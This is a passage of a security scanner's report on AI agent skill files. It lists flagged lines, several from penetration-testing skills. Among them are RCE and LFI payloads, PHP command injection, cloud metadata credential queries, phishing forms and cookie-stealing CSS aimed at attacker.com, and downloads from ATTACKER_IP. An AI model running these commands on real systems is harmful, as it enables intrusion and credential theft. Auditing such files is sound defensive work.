https://apigateway/prod/system?cmd=file:///proc/self/environ - Network accessline 182
# Invoke backdoored function curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT - Network accessline 183
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT - Network accessline 312
# List Kubernetes secrets https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount - Network accessline 313
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount - Network accessline 315
# Get service account token https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token - Network accessline 316
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
skills/broken-authentication/SKILL.md
- Network accessline 185
tokens = [] for i in range(100): response = requests.get("https://target.com/login") - Network accessline 186
[Credential-related source omitted] - Network accessline 187
response = requests.get("https://target.com/login") - Network accessline 220
1. Attacker visits site, gets session: SESSIONID=attacker_session 2. Attacker sends link to victim with fixed session: https://target.com/login?SESSIONID=attacker_session - Network accessline 221
2. Attacker sends link to victim with fixed session: https://target.com/login?SESSIONID=attacker_session 3. Victim logs in with attacker's session - Network accessline 222
https://target.com/login?SESSIONID=attacker_session - Network accessline 305
[Credential-related source omitted] - Network accessline 306
[Credential-related source omitted] - Network accessline 456
[Credential-related source omitted] - Network accessline 457
[Credential-related source omitted] - Network accessline 464
[Credential-related source omitted] - Network accessline 465
[Credential-related source omitted]
skills/burp-suite-testing/SKILL.md
- Network accessline 364
### HTTPS Interception Failing - Install Burp CA certificate in browser/system - Navigate to http://burp to download certificate - Network accessline 365
- Install Burp CA certificate in browser/system - Navigate to http://burp to download certificate - Add certificate to trusted roots - Network accessline 366
- Navigate to http://burp to download certificate
skills/chart-image/README.md
- Network accessline 32
git clone https://github.com/Cluka-399/chart-image.git skills/chart-image - Dangerous shell operationline 222
curl -s api.example.com/metrics | node scripts/chart.mjs --type line --dark --output metrics.png - Network accessline 222
curl -s api.example.com/metrics | node scripts/chart.mjs --type line --dark --output metrics.png - Network accessline 290
Or pass any [d3-format](https://github.com/d3/d3-format) string: `--y-format ',.3f'` - Network accessline 303
[Credential-related source omitted] - Network accessline 313
<p align="center"> <sub>Built by <a href="https://clawhub.ai/u/Cluka-399">@Cluka-399</a> · Published on <a href="https://clawhub.ai">ClawHub</a> · <a href="https://github.com/Cluka-399/chart-image">GitHub</a></sub> - Network accessline 314
<sub>Built by <a href="https://clawhub.ai/u/Cluka-399">@Cluka-399</a> · Published on <a href="https://clawhub.ai">ClawHub</a> · <a href="https://github.com/Cluka-399/chart-image">GitHub</a></sub>
skills/chart-image/scripts/chart.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 419
const pieSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 420
$schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 498
const heatmapSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 499
$schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 598
const candleSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 599
$schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 666
if (opts.stacked && opts.colorField) { const stackedSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 667
const stackedSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', width: opts.width, - Network accessline 668
$schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 722
if (opts.seriesField && opts.type === 'line') { const multiSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 723
const multiSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', width: opts.width, - Network accessline 724
$schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 808
const volumeSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 809
$schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 918
const dualSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 919
$schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 1381
if (opts.sparkline || opts.noAxes) { const sparkSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 1382
const sparkSpec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', width: opts.width, - Network accessline 1383
$schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 1415
const spec = { $schema: 'https://vega.github.io/schema/vega-lite/v5.json', - Network accessline 1416
$schema: 'https://vega.github.io/schema/vega-lite/v5.json',
skills/chart-image/scripts/package.json
- Executable scriptline 1
Executable file
skills/cloud-penetration-testing/SKILL.md
- Network accessline 24
# AWS CLI curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" - Network accessline 25
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" - Dangerous shell operationline 26
unzip awscliv2.zip && sudo ./aws/install - Network accessline 28
# GCP CLI curl https://sdk.cloud.google.com | bash - Dangerous shell operationline 29
curl https://sdk.cloud.google.com | bash - Network accessline 29
curl https://sdk.cloud.google.com | bash - Network accessline 61
# Azure: Get federation info curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1" - Network accessline 62
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1" - Network accessline 64
# Azure: Get Tenant ID curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" - Network accessline 65
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" - Network accessline 260
# Access metadata service (from compromised EC2) curl http://169.254.169.254/latest/meta-data/ - Network accessline 261
curl http://169.254.169.254/latest/meta-data/ - Network accessline 262
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 264
[Credential-related source omitted] - Network accessline 265
[Credential-related source omitted] - Network accessline 266
[Credential-related source omitted] - Network accessline 336
# Get metadata service data curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google" - Network accessline 337
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google" - Network accessline 339
# Check access scopes curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google' - Network accessline 340
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google' - Dangerous shell operationline 351
sudo find /home -name "credentials.db" - Dangerous shell operationline 352
sudo cp -r /home/user/.config/gcloud ~/.config - Network accessline 379
| List EC2 | `aws ec2 describe-instances` | | List Lambda | `aws lambda list-functions` | | Metadata | `curl http://169.254.169.254/latest/meta-data/` | - Network accessline 381
| Metadata | `curl http://169.254.169.254/latest/meta-data/` | - Network accessline 391
| List clusters | `gcloud container clusters list` | | IAM policy | `gcloud projects get-iam-policy <project>` | | Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` | - Network accessline 393
| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` | - Network accessline 397
| Provider | URL | |----------|-----| | AWS | `http://169.254.169.254/latest/meta-data/` | - Network accessline 398
|----------|-----| | AWS | `http://169.254.169.254/latest/meta-data/` | | Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` | - Network accessline 399
| AWS | `http://169.254.169.254/latest/meta-data/` | - Network accessline 400
| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` | - Network accessline 401
| GCP | `http://metadata.google.internal/computeMetadata/v1/` | - Network accessline 442
# Using MSOLSpray with FireProx for IP rotation # First create FireProx endpoint python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create - Network accessline 444
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
skills/cloud-penetration-testing/references/advanced-cloud-scripts.md
- Network accessline 3
Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets) - Network accessline 81
$body = @{ "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" "resource" = "https://graph.microsoft.com" - Network accessline 82
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" "resource" = "https://graph.microsoft.com" } - Network accessline 83
"resource" = "https://graph.microsoft.com" - Network accessline 88
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" - Network accessline 90
-Method Post ` -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` - Network accessline 91
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` - Network accessline 97
Navigate to https://microsoft.com/devicelogin and enter the code. - Network accessline 107
$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" - Network accessline 109
-Method Post ` -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` - Network accessline 110
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` - Network accessline 119
# From Azure VM Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing - Network accessline 120
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing - Network accessline 122
# Full instance metadata $instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing - Network accessline 123
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing - Network accessline 287
# Add user to Global Admin via MS Graph $Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}" az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagemen - Network accessline 289
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
skills/code-documenter/SKILL.md
skills/code-documenter/references/api-docs-nestjs-express.md
skills/code-documenter/references/documentation-systems.md
- Network accessline 25
title: "My API", tagline: "Build amazing things", url: "https://docs.example.com", - Network accessline 26
tagline: "Build amazing things", url: "https://docs.example.com", baseUrl: "/", - Network accessline 27
url: "https://docs.example.com", - Access to secretsline 40
[Credential-related source omitted] - Network accessline 128
editLink: { pattern: "https://github.com/user/repo/edit/main/docs/:path", - Network accessline 129
pattern: "https://github.com/user/repo/edit/main/docs/:path", - Access to secretsline 164
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Network accessline 194
<!-- Add to theme --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@docsearch/css@3" /> - Network accessline 195
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@docsearch/css@3" /> - Network accessline 197
<script src="https://cdn.jsdelivr.net/npm/@docsearch/js@3"></script> - Access to secretsline 201
[Credential-related source omitted] - Network accessline 228
# linkcheck (Python) pip install linkchecker linkchecker http://localhost:3000/docs - Network accessline 230
linkchecker http://localhost:3000/docs - Network accessline 232
# broken-link-checker (Node) npm install -g broken-link-checker blc http://localhost:3000 -ro - Network accessline 234
blc http://localhost:3000 -ro
skills/code-documenter/references/interactive-api-docs.md
- Network accessline 83
flows: authorizationCode: authorizationUrl: https://api.example.com/oauth/authorize - Network accessline 84
authorizationCode: authorizationUrl: https://api.example.com/oauth/authorize tokenUrl: https://api.example.com/oauth/token - Network accessline 85
authorizationUrl: https://api.example.com/oauth/authorize - Network accessline 86
tokenUrl: https://api.example.com/oauth/token - Network accessline 166
<title>API Documentation</title> <link href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700" - Network accessline 167
<link href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700" rel="stylesheet" - Network accessline 168
href="https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700" - Network accessline 189
> </redoc> <script src="https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js"></script> - Network accessline 190
</redoc> <script src="https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js"></script> </body> - Network accessline 191
<script src="https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js"></script> - Access to secretsline 436
[Credential-related source omitted] - Access to secretsline 479
[Credential-related source omitted] - Network accessline 504
[Credential-related source omitted] - Network accessline 505
[Credential-related source omitted] - Access to secretsline 505
[Credential-related source omitted] - Network accessline 506
baseUrl: "https://api.example.com", // Optional
skills/code-documenter/references/user-guides-tutorials.md
- Access to secretsline 92
[Credential-related source omitted] - Network accessline 295
const authUrl = client.oauth.getAuthUrl({ redirectUri: "https://yourapp.com/callback", - Network accessline 296
redirectUri: "https://yourapp.com/callback", - Access to secretsline 312
[Credential-related source omitted] - Access to secretsline 328
[Credential-related source omitted] - Access to secretsline 444
[Credential-related source omitted] - Network accessline 548
**Can't find your answer?** - [Browse all docs](/docs) - [Ask the community](https://community.example.com) - Network accessline 549
- [Browse all docs](/docs) - [Ask the community](https://community.example.com) - [Contact support](/support) - Network accessline 550
- [Ask the community](https://community.example.com)
skills/code-to-diagram/scripts/analyze_codebase.py
skills/code-vuln-audit/SKILL.md
skills/code-vuln-audit/scripts/security_scan.py
skills/composition-patterns/AGENTS.md
- Network accessline 915
1. [https://react.dev](https://react.dev) - Network accessline 916
2. [https://react.dev/learn/passing-data-deeply-with-context](https://react.dev/learn/passing-data-deeply-with-context) - Network accessline 917
3. [https://react.dev/reference/react/use](https://react.dev/reference/react/use)
skills/composition-patterns/metadata.json
- Network accessline 5
"abstract": "Composition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both hum - Network accessline 6
"references": [ "https://react.dev", "https://react.dev/learn/passing-data-deeply-with-context", - Network accessline 7
"https://react.dev", - Network accessline 8
"https://react.dev/learn/passing-data-deeply-with-context", - Network accessline 9
"https://react.dev/reference/react/use"
skills/composition-patterns/rules/_template.md
- Network accessline 24
Reference: [Link](https://example.com)
skills/data-viz-renderer/scripts/build_infographic.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 133
fill_attr = f' fill="{_esc(color)}"' if needs_fill else "" return ( f'<svg xmlns="http://www.w3.org/2000/svg" width="{size}" height="{size}" ' - Network accessline 134
return ( f'<svg xmlns="http://www.w3.org/2000/svg" width="{size}" height="{size}" ' f'viewBox="0 0 24 24" style="color:{_esc(color)};fill:{_esc(color)}"' - Network accessline 135
f'<svg xmlns="http://www.w3.org/2000/svg" width="{size}" height="{size}" ' - Network accessline 185
lines = [ f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {chart_w} {chart_h}" ' - Network accessline 186
f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {chart_w} {chart_h}" ' - Network accessline 249
lines = [ f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {size} {size}" ' - Network accessline 250
f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {size} {size}" ' - Network accessline 303
total_h = step_h + 80 lines = [ f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {total_w} {total_h}" ' - Network accessline 304
lines = [ f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {total_w} {total_h}" ' f'style="width:100%;max-width:{total_w}px;height:auto;overflow:visible">' - Network accessline 305
f'<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 {total_w} {total_h}" '
skills/database-optimizer/SKILL.md
skills/database-scout/scripts/db_explorer.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/dataset-quality-audit/scripts/data_quality_checker.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/dev-guide-generator/SKILL.md
- Dangerous shell operationline 97
sudo apt update && sudo apt install -y xxx - Access to secretsline 112
[Credential-related source omitted] - Dangerous shell operationline 193
- For permission-related issues, explain why the permission is needed rather than jumping to `sudo` or `chmod 777` - Dangerous shell operationline 196
- Solutions must not include operations that could create security risks (e.g., `chmod 777`, disabling firewalls) - Dangerous shell operationline 359
- [ ] No suggestions that could create security vulnerabilities (e.g., `chmod 777`)
skills/ethical-hacking-methodology/SKILL.md
- Network accessline 188
# Nikto web scanner nikto -h http://target.com - Network accessline 189
nikto -h http://target.com - Network accessline 212
# Directory brute forcing gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 213
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt - Network accessline 260
# SQLMap for SQL injection sqlmap -u "http://target.com/page.php?id=1" --dbs - Network accessline 261
sqlmap -u "http://target.com/page.php?id=1" --dbs - Network accessline 262
sqlmap -u "http://target.com/page.php?id=1" -D database --tables - Access to secretsline 282
[Credential-related source omitted] - Dangerous shell operationline 301
# Check sudo permissions - Dangerous shell operationline 302
sudo -l
skills/file-path-traversal/SKILL.md
- Network accessline 18
- Web browser with developer tools - Burp Suite or OWASP ZAP - cURL for testing payloads - Network accessline 19
- Burp Suite or OWASP ZAP - cURL for testing payloads - Wordlists for automation - Network accessline 20
- cURL for testing payloads - Network accessline 115
# Test payloads with curl curl "http://target.com/image?filename=../../../etc/passwd" - Network accessline 116
curl "http://target.com/image?filename=../../../etc/passwd" - Network accessline 117
curl "http://target.com/download?file=....//....//....//etc/passwd" - Access to secretsline 214
[Credential-related source omitted] - Network accessline 288
# Basic traversal fuzzing ffuf -u "http://target.com/image?filename=FUZZ" \ - Network accessline 289
ffuf -u "http://target.com/image?filename=FUZZ" \ - Network accessline 293
# Fuzzing with encoding ffuf -u "http://target.com/page?file=FUZZ" \ - Network accessline 294
ffuf -u "http://target.com/page?file=FUZZ" \ - Network accessline 303
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hc 404 "http://target.com/index.php?file=FUZZ" - Network accessline 305
"http://target.com/index.php?file=FUZZ" - Network accessline 308
wfuzz -c -z file,traversal.txt -H "Cookie: session=abc123" "http://target.com/load?path=FUZZ" - Network accessline 310
"http://target.com/load?path=FUZZ" - Network accessline 318
# Inject PHP code into logs curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ - Network accessline 319
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ - Network accessline 321
# Include Apache log file curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" - Network accessline 322
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" - Network accessline 324
# Include auth.log (SSH) # First: ssh '<?php system($_GET["cmd"]); ?>'@target.com curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" - Network accessline 326
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" - Network accessline 332
# Inject via User-Agent curl -A "<?php system('id'); ?>" \ - Network accessline 333
curl -A "<?php system('id'); ?>" \ - Network accessline 334
"http://target.com/page?file=/proc/self/environ" - Network accessline 336
# With command parameter curl -A "<?php system(\$_GET['c']); ?>" \ - Network accessline 337
curl -A "<?php system(\$_GET['c']); ?>" \ - Network accessline 338
"http://target.com/page?file=/proc/self/environ&c=whoami" - Network accessline 344
# php://filter - Read source code as base64 curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" - Network accessline 345
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" - Network accessline 347
# php://input - Execute POST data as PHP curl -X POST -d "<?php system('id'); ?>" \ - Network accessline 348
curl -X POST -d "<?php system('id'); ?>" \ - Network accessline 349
"http://target.com/page?file=php://input" - Network accessline 351
# data:// - Execute inline PHP curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" - Network accessline 352
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" - Network accessline 354
# expect:// - Execute system commands curl "http://target.com/page?file=expect://id" - Network accessline 355
curl "http://target.com/page?file=expect://id"
skills/html-injection-testing/SKILL.md
- Network accessline 19
- Burp Suite or OWASP ZAP - Tamper Data or similar proxy - cURL for testing payloads - Network accessline 21
- cURL for testing payloads - Network accessline 116
<!-- Links --> <a href="http://attacker.com">Click Here</a> - Network accessline 117
<a href="http://attacker.com">Click Here</a> - Network accessline 118
<a href="http://attacker.com">Legitimate Link</a> - Network accessline 120
<!-- Images --> <img src="http://attacker.com/image.png"> - Network accessline 121
<img src="http://attacker.com/image.png"> - Network accessline 127
# Test basic injection curl "http://target.com/search?q=<h1>Test</h1>" - Network accessline 128
curl "http://target.com/search?q=<h1>Test</h1>" - Network accessline 130
# Check if HTML renders in response curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold" - Network accessline 131
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold" - Network accessline 133
# Test in URL-encoded form curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E" - Network accessline 134
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E" - Network accessline 146
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;"> <h1>Site Under Maintenance</h1> <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p> - Network accessline 147
<h1>Site Under Maintenance</h1> <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p> </div> - Network accessline 148
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p> - Network accessline 151
<!-- Comment injection --> Great article! <form action="http://attacker.com/steal" method="POST"> - Network accessline 152
Great article! <form action="http://attacker.com/steal" method="POST"> <input name="username" placeholder="Session expired. Enter username:"> - Network accessline 153
<form action="http://attacker.com/steal" method="POST"> - Network accessline 165
<!-- URL injection --> http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal"> - Network accessline 166
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal"> - Network accessline 168
<!-- Search result injection --> http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee> - Network accessline 169
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee> - Network accessline 177
# POST injection test curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \ - Network accessline 178
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \ - Network accessline 179
http://target.com/submit - Network accessline 181
# Form field injection curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \ - Network accessline 182
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \ - Network accessline 183
http://target.com/register - Network accessline 191
<!-- If URL is displayed on page --> http://target.com/page/<h1>Injected</h1> - Network accessline 192
http://target.com/page/<h1>Injected</h1> - Network accessline 194
<!-- Path-based injection --> http://target.com/users/<img src=x>/profile - Network accessline 195
http://target.com/users/<img src=x>/profile - Network accessline 206
<h2>Session Expired</h2> <p>Your session has expired. Please log in again.</p> <form action="http://attacker.com/capture" method="POST"> - Network accessline 207
<p>Your session has expired. Please log in again.</p> <form action="http://attacker.com/capture" method="POST"> <label>Username:</label><br> - Network accessline 208
<form action="http://attacker.com/capture" method="POST"> - Network accessline 217
<!-- Hidden credential stealer --> <style> input { background: url('http://attacker.com/log?data=') } - Network accessline 218
<style> input { background: url('http://attacker.com/log?data=') } </style> - Network accessline 219
input { background: url('http://attacker.com/log?data=') } - Network accessline 220
</style> <form action="http://attacker.com/steal" method="POST"> <input name="user" placeholder="Verify your username"> - Network accessline 221
<form action="http://attacker.com/steal" method="POST"> - Network accessline 230
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%2 - Network accessline 251
<!-- Image injection --> <img src="http://attacker.com/defaced.jpg" - Network accessline 252
<img src="http://attacker.com/defaced.jpg" - Network accessline 266
<!-- Style injection --> <style> body { background: url('http://attacker.com/track?cookie='+document.cookie) } - Network accessline 267
<style> body { background: url('http://attacker.com/track?cookie='+document.cookie) } .content { display: none } - Network accessline 268
body { background: url('http://attacker.com/track?cookie='+document.cookie) } - Network accessline 273
<!-- Inline style injection --> <div style="background:url('http://attacker.com/log')">Content</div> - Network accessline 274
<div style="background:url('http://attacker.com/log')">Content</div> - Network accessline 280
<!-- Redirect via meta refresh --> <meta http-equiv="refresh" content="0;url=http://attacker.com/phish"> - Network accessline 281
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish"> - Network accessline 290
<!-- Hijack existing form --> <form action="http://attacker.com/steal"> - Network accessline 291
<form action="http://attacker.com/steal"> - Network accessline 301
<!-- Embed external content --> <iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe> - Network accessline 302
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe> - Network accessline 304
<!-- Invisible tracking iframe --> <iframe src="http://attacker.com/track" style="display:none"></iframe> - Network accessline 305
<iframe src="http://attacker.com/track" style="display:none"></iframe> - Network accessline 369
target = "http://target.com/search" - Network accessline 375
"<script>alert(1)</script>", "<img src=x onerror=alert(1)>", "<a href='http://evil.com'>Click</a>", - Network accessline 376
"<img src=x onerror=alert(1)>", "<a href='http://evil.com'>Click</a>", "<div style='color:red'>Styled</div>", - Network accessline 377
"<a href='http://evil.com'>Click</a>", - Network accessline 378
"<div style='color:red'>Styled</div>", "<marquee>Moving</marquee>", "<iframe src='http://evil.com'></iframe>", - Network accessline 379
"<marquee>Moving</marquee>", "<iframe src='http://evil.com'></iframe>", ] - Network accessline 380
"<iframe src='http://evil.com'></iframe>", - Network accessline 387
try: response = requests.get(url, timeout=5) - Network accessline 388
response = requests.get(url, timeout=5)
skills/http-load-profiler/SKILL.md
- Network accessline 29
# Basic usage — run default stepped load test against target URL python3 scripts/http_benchmark.py https://example.com/api/health - Network accessline 30
python3 scripts/http_benchmark.py https://example.com/api/health - Network accessline 32
# Custom concurrency steps and duration per step python3 scripts/http_benchmark.py https://example.com/api/health -s 5,20,50,100,300 -d 15 - Network accessline 33
python3 scripts/http_benchmark.py https://example.com/api/health -s 5,20,50,100,300 -d 15 - Network accessline 35
# Specify ab as the engine python3 scripts/http_benchmark.py https://example.com/ -t ab - Network accessline 36
python3 scripts/http_benchmark.py https://example.com/ -t ab - Network accessline 38
# JSON-only output (for programmatic parsing) python3 scripts/http_benchmark.py https://example.com/api/health --json - Network accessline 39
python3 scripts/http_benchmark.py https://example.com/api/health --json - Network accessline 41
# Use ab with a specific number of requests per step python3 scripts/http_benchmark.py https://example.com/ -t ab -n 5000 - Network accessline 42
python3 scripts/http_benchmark.py https://example.com/ -t ab -n 5000 - Network accessline 44
# Save JSON report to a file python3 scripts/http_benchmark.py https://example.com/api/health --json > report.json - Network accessline 45
python3 scripts/http_benchmark.py https://example.com/api/health --json > report.json - Network accessline 50
| Parameter | Short | Default | Description | |-----------|-------|---------|-------------| | `url` | — | (required) | Target URL (http:// or https://) | - Network accessline 51
|-----------|-------|---------|-------------| | `url` | — | (required) | Target URL (http:// or https://) | | `--steps` | `-s` | `1,10,50,100,200,500` | Concurrency steps (comma-separated positive integers) | - Network accessline 52
| `url` | — | (required) | Target URL (http:// or https://) | - Network accessline 65
Tool: wrk Target URL: https://example.com/api/health - Network accessline 66
Target URL: https://example.com/api/health - Network accessline 94
{ "url": "https://example.com/api/health", - Network accessline 95
"url": "https://example.com/api/health", - Dangerous shell operationline 127
sudo apt-get install wrk # recommended - Dangerous shell operationline 128
sudo apt-get install apache2-utils # ab
skills/http-load-profiler/scripts/http_benchmark.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 330
description="HTTP 阶梯式并发压测工具 — 封装 ab/wrk + p50/p90/p99 + 拐点分析", ) parser.add_argument("url", help="目标 URL(http:// 或 https://)") - Network accessline 331
) parser.add_argument("url", help="目标 URL(http:// 或 https://)") parser.add_argument( - Network accessline 332
parser.add_argument("url", help="目标 URL(http:// 或 https://)") - Dangerous shell operationline 387
" Ubuntu/Debian: sudo apt-get install wrk 或 sudo apt-get install apache2-utils\n"
skills/linux-privilege-escalation/SKILL.md
- Dangerous shell operationline 3
description: This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate L - Dangerous shell operationline 13
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This ski - Network accessline 32
- GTFOBins reference for binary exploitation - John the Ripper or Hashcat for password cracking - Netcat or similar for reverse shells - Network accessline 34
- Netcat or similar for reverse shells - Network accessline 143
# LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Dangerous shell operationline 144
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 144
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 162
# On target machine wget http://ATTACKER_IP:8000/linpeas.sh - Network accessline 163
wget http://ATTACKER_IP:8000/linpeas.sh - Network accessline 198
# Transfer exploit source wget http://ATTACKER_IP/exploit.c - Network accessline 199
wget http://ATTACKER_IP/exploit.c - Dangerous shell operationline 208
### Phase 4: Sudo Exploitation - Dangerous shell operationline 210
